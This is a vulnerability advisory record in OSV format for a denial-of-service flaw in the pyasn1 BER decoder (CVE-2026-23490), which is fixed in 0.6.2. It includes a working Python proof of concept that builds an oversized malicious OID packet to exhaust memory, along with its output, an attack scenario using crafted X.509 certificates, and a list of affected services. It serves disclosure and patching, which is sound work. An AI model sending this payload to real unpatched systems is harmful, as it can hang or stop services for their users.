{"schema_version":"1.7.5","id":"PYSEC-2026-1810","published":"2026-07-07T16:03:19.018533Z","modified":"2026-07-07T17:48:03.492099219Z","aliases":["CVE-2026-23490","GHSA-63vm-454h-vhhq"],"summary":"pyasn1 has a DoS vulnerability in decoder","details":"### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b'\\x81' * payload_size + b'\\x00'\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length < 128:\n    length_bytes = bytes([length])\nelif length < 256:\n    length_bytes = b'\\x81' + length.to_bytes(1, 'big')\nelif length < 256**2:\n    length_bytes = b'\\x82' + length.to_bytes(2, 'big')\nelif length < 256**3:\n    length_bytes = b'\\x83' + length.to_bytes(3, 'big')\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b'\\x84' + length.to_bytes(4, 'big')\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b'\\x06' + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f'[+] Decoded successfully')\n    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')\n\n    # Try to convert to string\n    print('[*] Converting to string...')\n    try:\n        str_result = str(result[0])\n        print(f'[+] String succeeded: {len(str_result)} chars')\n        if len(str_result) > 10000:\n            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')\n    except MemoryError:\n        print(f'[-] MemoryError during string conversion!')\n    except Exception as e:\n        print(f'[-] {type(e).__name__} during string conversion')\n\nexcept MemoryError:\n    print('[-] MemoryError: Out of memory!')\nexcept Exception as e:\n    print(f'[-] Error: {type(e).__name__}: {e}')\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n<img width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" />\n\n<img width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" />\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  '0':  10.1%\n  '1':   9.9%\n  '2':  10.0%\n  '3':   9.9%\n  '4':   9.9%\n  '5':  10.0%\n  '6':  10.0%\n  '7':  10.0%\n  '8':   9.9%\n  '9':  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.","affected":[{"package":{"name":"pyasn1","ecosystem":"PyPI","purl":"pkg:pypi/pyasn1"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.6.1"},{"fixed":"0.6.2"}]}],"versions":["0.6.1"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/pyasn1/PYSEC-2026-1810.yaml"}}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23490"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"},{"type":"PACKAGE","url":"https://pypi.org/project/pyasn1"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-63vm-454h-vhhq"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}